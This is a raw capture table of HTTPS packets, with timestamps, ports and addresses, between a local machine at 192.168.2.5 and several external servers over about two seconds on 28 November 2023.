Nov 28, 2023 16:55:26.369910955 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.369911909 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.369921923 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.369990110 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.369996071 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.370052099 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.370052099 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.370104074 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.370115995 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.370131969 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.370177031 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.370188951 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.421606064 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.526118040 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.526148081 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.526226044 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.526263952 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.526273966 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.526330948 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.526365995 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.526546001 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.526580095 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.526638031 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.526657104 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.526694059 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.526815891 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.526887894 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.526901007 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.527071953 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.527148962 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.527160883 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.527272940 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.527343035 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.527357101 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.527445078 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.527512074 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.527523994 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.578193903 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.578269958 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.625446081 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.634167910 CET	49719	443	192.168.2.5	142.251.167.105
Nov 28, 2023 16:55:26.634216070 CET	443	49719	142.251.167.105	192.168.2.5
Nov 28, 2023 16:55:26.634288073 CET	49719	443	192.168.2.5	142.251.167.105
Nov 28, 2023 16:55:26.634632111 CET	49719	443	192.168.2.5	142.251.167.105
Nov 28, 2023 16:55:26.634641886 CET	443	49719	142.251.167.105	192.168.2.5
Nov 28, 2023 16:55:26.681629896 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.681658030 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.681698084 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.681822062 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.681907892 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.681937933 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.681967974 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.681987047 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.682007074 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.682027102 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.682044983 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.682073116 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.682248116 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.682267904 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.682313919 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.682331085 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.682356119 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.683144093 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.683166981 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.683237076 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.683254004 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.683284998 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.683511972 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.683583021 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.683602095 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.683744907 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.683806896 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.683820963 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.683902979 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.683968067 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.683981895 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.735418081 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.735438108 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.781682968 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.835845947 CET	443	49719	142.251.167.105	192.168.2.5
Nov 28, 2023 16:55:26.836441040 CET	49719	443	192.168.2.5	142.251.167.105
Nov 28, 2023 16:55:26.836461067 CET	443	49719	142.251.167.105	192.168.2.5
Nov 28, 2023 16:55:26.837275982 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.837296963 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.837331057 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.837353945 CET	443	49719	142.251.167.105	192.168.2.5
Nov 28, 2023 16:55:26.837357044 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.837409019 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.837416887 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.837441921 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.837443113 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.837459087 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.837471962 CET	49719	443	192.168.2.5	142.251.167.105
Nov 28, 2023 16:55:26.837486029 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.837502003 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.837511063 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.837533951 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.837539911 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.837551117 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.837590933 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.837598085 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.837837934 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.837902069 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.837910891 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.837981939 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.838041067 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.838052034 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.838135958 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.838188887 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.838200092 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.838278055 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.838335037 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.838341951 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.838407993 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.838460922 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.838468075 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.838485003 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.838529110 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.838536024 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.838581085 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.838634014 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.838640928 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.838814020 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.838872910 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.838884115 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.838903904 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.838963985 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.839226007 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.839270115 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.839325905 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.839333057 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.839375973 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.839430094 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.839437962 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.839478970 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.839534044 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.839541912 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.839557886 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.839610100 CET	49719	443	192.168.2.5	142.251.167.105
Nov 28, 2023 16:55:26.839623928 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.839656115 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.839664936 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.839679956 CET	443	49719	142.251.167.105	192.168.2.5
Nov 28, 2023 16:55:26.839684010 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.839719057 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.839729071 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.839736938 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.839786053 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.839793921 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.839833975 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.890225887 CET	49719	443	192.168.2.5	142.251.167.105
Nov 28, 2023 16:55:26.890247107 CET	443	49719	142.251.167.105	192.168.2.5
Nov 28, 2023 16:55:26.936762094 CET	49719	443	192.168.2.5	142.251.167.105
Nov 28, 2023 16:55:26.994384050 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.994601011 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.994627953 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.994999886 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.995075941 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.995090008 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.995624065 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.995696068 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.995707035 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.995987892 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.996056080 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.996062994 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.996361017 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.996421099 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.996429920 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.996555090 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.996611118 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.996618986 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.996834040 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.996900082 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.996906996 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.997102976 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.997165918 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.997172117 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.997443914 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.997504950 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.997514009 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.997673988 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.997735977 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.997750044 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.997906923 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.997967005 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.997973919 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.998148918 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.998209000 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.998217106 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.998378992 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.998440027 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.998446941 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.998552084 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.998610973 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.998619080 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.998724937 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.998783112 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.998790979 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.998959064 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.999021053 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.999027967 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.999191046 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.999248981 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.999257088 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.999422073 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.999480963 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.999490976 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.999653101 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.999711037 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.999717951 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.999886990 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.999952078 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.999958992 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.000121117 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.000180960 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:27.000195026 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.000307083 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.000366926 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:27.000374079 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.000478029 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.000540972 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:27.000546932 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.000716925 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.000786066 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:27.000793934 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.000962973 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.001024961 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:27.001033068 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.001193047 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.001252890 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:27.001257896 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.001446962 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.001506090 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:27.001512051 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.001683950 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.001744032 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:27.001751900 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.001916885 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.001975060 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:27.001982927 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.002093077 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.002161026 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:27.002168894 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.002274036 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.002331972 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:27.002341032 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.002516031 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.002576113 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:27.002583981 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.002752066 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.002811909 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:27.002820015 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.002981901 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.003043890 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:27.003051043 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.003215075 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.003276110 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:27.003283024 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.003454924 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.003515005 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:27.003523111 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.003720999 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.003784895 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:27.003792048 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.003887892 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.003937006 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:27.038783073 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:27.040266991 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:27.040285110 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:27.440468073 CET	49722	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:27.440504074 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:27.440602064 CET	49722	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:27.442982912 CET	49722	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:27.443000078 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:27.580707073 CET	49723	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:27.580809116 CET	443	49723	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:27.580909014 CET	49723	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:27.581195116 CET	49724	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:27.581278086 CET	49725	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:27.581288099 CET	443	49724	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:27.581310034 CET	443	49725	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:27.581383944 CET	49724	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:27.581456900 CET	49725	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:27.581629992 CET	49723	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:27.581666946 CET	443	49723	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:27.581813097 CET	49725	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:27.581830025 CET	443	49725	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:27.582034111 CET	49724	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:27.582075119 CET	443	49724	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:27.710345030 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:27.711524010 CET	49722	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:27.711538076 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:27.711939096 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:27.712373972 CET	49722	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:27.712454081 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:27.712740898 CET	49722	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:27.757266045 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:27.781692982 CET	49726	443	192.168.2.5	23.221.242.90
Nov 28, 2023 16:55:27.781774044 CET	443	49726	23.221.242.90	192.168.2.5
Nov 28, 2023 16:55:27.781879902 CET	49726	443	192.168.2.5	23.221.242.90
Nov 28, 2023 16:55:27.784549952 CET	49726	443	192.168.2.5	23.221.242.90
Nov 28, 2023 16:55:27.784584045 CET	443	49726	23.221.242.90	192.168.2.5
Nov 28, 2023 16:55:27.843172073 CET	49675	443	192.168.2.5	23.1.237.91
Nov 28, 2023 16:55:27.843287945 CET	49674	443	192.168.2.5	23.1.237.91
Nov 28, 2023 16:55:27.908428907 CET	443	49725	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:27.908674955 CET	49725	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:27.908691883 CET	443	49725	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:27.910229921 CET	443	49725	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:27.910303116 CET	49725	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:27.910382986 CET	443	49723	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:27.910712957 CET	49723	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:27.910734892 CET	443	49723	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:27.912162066 CET	443	49723	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:27.912221909 CET	49723	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:27.916201115 CET	443	49724	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:27.916548967 CET	49724	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:27.916619062 CET	443	49724	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:27.920964956 CET	443	49724	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:27.921061993 CET	49724	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:27.968206882 CET	49673	443	192.168.2.5	23.1.237.91
Nov 28, 2023 16:55:27.984610081 CET	443	49726	23.221.242.90	192.168.2.5
Nov 28, 2023 16:55:27.984713078 CET	49726	443	192.168.2.5	23.221.242.90
Nov 28, 2023 16:55:27.987193108 CET	49726	443	192.168.2.5	23.221.242.90
Nov 28, 2023 16:55:27.987199068 CET	443	49726	23.221.242.90	192.168.2.5
Nov 28, 2023 16:55:27.987395048 CET	443	49726	23.221.242.90	192.168.2.5
Nov 28, 2023 16:55:28.011034966 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.011094093 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.011135101 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.011137009 CET	49722	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:28.011151075 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.011178017 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.011198997 CET	49722	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:28.011213064 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.011260033 CET	49722	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:28.011267900 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.011507988 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.011549950 CET	49722	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:28.011558056 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.011934996 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.011970043 CET	443	49722	104.17.24.14	192.168.2.5
